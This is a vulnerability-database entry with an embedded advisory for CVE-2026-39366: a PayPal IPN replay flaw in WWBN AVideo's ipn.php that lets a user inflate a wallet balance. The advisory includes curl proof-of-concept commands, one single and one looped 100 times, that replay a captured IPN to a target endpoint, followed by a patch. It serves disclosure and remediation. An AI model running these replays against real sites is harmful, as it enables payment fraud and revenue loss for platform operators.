CVE-2026-39366: Wwbn/avideo WWBN AVideo Affected By A Vulnerability
MODERATECVE-2026-39366 is a MODERATE (CVSS 6.5) wwbn avideo affected by a vulnerability (CWE-345: Insufficient Verification of Data Authenticity) affecting Wwbn/avideo libraries in the Packagist ecosystem. The issue involves wwbn avideo affected by a paypal ipn replay attack enabling wallet balance inflation via missing transaction deduplication in ipn.php. Remediation is available in the latest vendor maintenance releases.
CVE-2026-39366 at a Glance
Security Impact
CVSS: 6.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N).
How to Fix CVE-2026-39366
To remediate this vulnerability, upgrade all affected Wwbn/avideo dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade wwbn/avideo to Latest secure release
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for wwbn/avideo
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-39366, inspect your project dependencies for Wwbn/avideo:
inspect dependencies for wwbn/avideo
Analyze the terminal output to locate any version of Wwbn/avideo in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-345: Insufficient Verification of Data Authenticity, where the product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data. In Wwbn/avideo, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-39366 Affected Wwbn/avideo Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
wwbn/avideo
|
Packagist |
≤ 26.0
|
|
References
Frequently Asked Questions
What is CVE-2026-39366?
Which Wwbn/avideo versions are affected?
What version fixes CVE-2026-39366?
Is wwbn/avideo affected?
What is the CVSS score of CVE-2026-39366?
What CWE is associated with CVE-2026-39366?
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Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-mmw7-wq3c-wf9p",
"modified" : "2026-04-08T00:08:33Z",
"published" : "2026-04-08T00:08:33Z",
"aliases" : [ "CVE-2026-39366" ],
"summary" : "WWBN AVideo Affected by a PayPal IPN Replay Attack Enabling Wallet Balance Inflation via Missing Transaction Deduplication in ipn.php",
"details" : "## Summary\n\nThe PayPal IPN v1 handler at `plugin/PayPalYPT/ipn.php` lacks transaction deduplication, allowing an attacker to replay a single legitimate IPN notification to repeatedly inflate their wallet balance and renew subscriptions. The newer `ipnV2.php` and `webhook.php` handlers correctly deduplicate via `PayPalYPT_log` entries, but the v1 handler was never updated and remains actively referenced as the `notify_url` for billing plans.\n\n## Details\n\nWhen a recurring payment IPN arrives at `ipn.php`, the handler:\n\n1. Verifies authenticity via `PayPalYPT::IPNcheck()` (line 16), which sends the POST data to PayPal's `cmd=_notify-validate` endpoint. PayPal confirms the data is genuine but this verification is **stateless** — PayPal returns `VERIFIED` for the same authentic data on every submission.\n\n2. Looks up the subscription from `recurring_payment_id` and directly credits the user's wallet (lines 41-53):\n\n```php\n// plugin/PayPalYPT/ipn.php lines 41-53\n$row = Subscription::getFromAgreement($_POST[\"recurring_payment_id\"]);\n$users_id = $row['users_id'];\n$payment_amount = empty($_POST['mc_gross']) ? $_POST['amount'] : $_POST['mc_gross'];\n$payment_currency = empty($_POST['mc_currency']) ? $_POST['currency_code'] : $_POST['mc_currency'];\nif ($walletObject->currency===$payment_currency) {\n $plugin->addBalance($users_id, $payment_amount, \"Paypal recurrent\", json_encode($_POST));\n Subscription::renew($users_id, $row['subscriptions_plans_id']);\n $obj->error = false;\n}\n```\n\nNo `txn_id` uniqueness check. No `PayPalYPT_log` entry created. No deduplication of any kind.\n\nCompare with the patched handlers:\n- **`ipnV2.php`** (line 50): `PayPalYPT::isTokenUsed($_GET['token'])` and (line 93): `PayPalYPT::isRecurringPaymentIdUsed($_POST[\"verify_sign\"])`, with `PayPalYPT_log` entries saved on success.\n- **`webhook.php`** (line 30): `PayPalYPT::isTokenUsed($token)` with `PayPalYPT_log` entry saved on success.\n\nThe v1 `ipn.php` is still actively configured as `notify_url` in `PayPalYPT.php` at lines 85, 193, and 308:\n```php\n$notify_url = \"{$global['webSiteRootURL']}plugin/PayPalYPT/ipn.php\";\n```\n\n## PoC\n\n```bash\n# Prerequisites: A registered AVideo account with at least one completed PayPal subscription.\n\n# Step 1: Complete a legitimate PayPal subscription.\n# This generates an IPN notification to ipn.php containing your recurring_payment_id.\n\n# Step 2: Capture the IPN POST body. This is available from:\n# - PayPal's IPN History (paypal.com > Settings > IPN History)\n# - Network interception during the initial subscription flow\n\n# Step 3: Replay the captured IPN to inflate wallet balance.\n# Each replay adds the subscription amount to the attacker's wallet.\n\n# Single replay:\ncurl -X POST 'https://target.com/plugin/PayPalYPT/ipn.php' \\\n -d 'recurring_payment_id=I-XXXXXXXXXX&mc_gross=9.99&mc_currency=USD&payment_status=Completed&txn_type=recurring_payment&verify_sign=REAL_VERIFY_SIGN&payer_email=attacker@example.com'\n\n# Bulk replay (100x = 100x the subscription amount added to wallet):\nfor i in $(seq 1 100); do\n curl -s -X POST 'https://target.com/plugin/PayPalYPT/ipn.php' \\\n -d 'recurring_payment_id=I-XXXXXXXXXX&mc_gross=9.99&mc_currency=USD&payment_status=Completed&txn_type=recurring_payment&verify_sign=REAL_VERIFY_SIGN&payer_email=attacker@example.com'\ndone\n\n# Each request passes IPNcheck() (PayPal confirms the data is authentic),\n# then addBalance() credits the wallet and Subscription::renew() extends the subscription.\n```\n\n## Impact\n\n- **Unlimited wallet balance inflation**: An attacker can replay a single legitimate IPN to add arbitrary multiples of the subscription amount to their wallet balance, enabling free access to all paid content.\n- **Unlimited subscription renewals**: Each replay also calls `Subscription::renew()`, indefinitely extending subscription access from a single payment.\n- **Financial loss**: Platform operators lose revenue as attackers obtain paid services without corresponding payments.\n\n## Recommended Fix\n\nAdd deduplication to `ipn.php` consistent with the approach already used in `ipnV2.php` and `webhook.php`. Record each processed transaction in `PayPalYPT_log` and check before processing:\n\n```php\n// plugin/PayPalYPT/ipn.php — replace lines 41-57 with:\n} else {\n _error_log(\"PayPalIPN: recurring_payment_id = {$_POST[\"recurring_payment_id\"]} \");\n\n // Deduplication: check if this IPN was already processed\n $dedup_key = !empty($_POST['txn_id']) ? $_POST['txn_id'] : $_POST['verify_sign'];\n if (PayPalYPT::isRecurringPaymentIdUsed($dedup_key)) {\n _error_log(\"PayPalIPN: already processed, skipping\");\n die(json_encode($obj));\n }\n\n $subscription = AVideoPlugin::loadPluginIfEnabled(\"Subscription\");\n if (!empty($subscription)) {\n $row = Subscription::getFromAgreement($_POST[\"recurring_payment_id\"]);\n _error_log(\"PayPalIPN: user found from recurring_payment_id (users_id = {$row['users_id']}) \");\n $users_id = $row['users_id'];\n $payment_amount = empty($_POST['mc_gross']) ? $_POST['amount'] : $_POST['mc_gross'];\n $payment_currency = empty($_POST['mc_currency']) ? $_POST['currency_code'] : $_POST['mc_currency'];\n if ($walletObject->currency===$payment_currency) {\n // Log the transaction for deduplication\n $pp = new PayPalYPT_log(0);\n $pp->setUsers_id($users_id);\n $pp->setRecurring_payment_id($dedup_key);\n $pp->setValue($payment_amount);\n $pp->setJson(['post' => $_POST]);\n if ($pp->save()) {\n $plugin->addBalance($users_id, $payment_amount, \"Paypal recurrent\", json_encode($_POST));\n Subscription::renew($users_id, $row['subscriptions_plans_id']);\n $obj->error = false;\n }\n } else {\n _error_log(\"PayPalIPN: FAIL currency check $walletObject->currency===$payment_currency \");\n }\n }\n}\n```\n\nAdditionally, consider migrating the `notify_url` references in `PayPalYPT.php` (lines 85, 193, 308) from `ipn.php` to `ipnV2.php` or `webhook.php`, and eventually deprecating the v1 IPN handler entirely.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "wwbn/avideo"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "26.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-mmw7-wq3c-wf9p"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-39366"
}, {
"type" : "WEB",
"url" : "https://github.com/WWBN/AVideo/commit/8f53e9d9c6aaa07d51ace30691981edbbfb5ca1c"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/WWBN/AVideo"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-345" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-04-08T00:08:33Z",
"nvd_published_at" : "2026-04-07T20:16:30Z"
}
}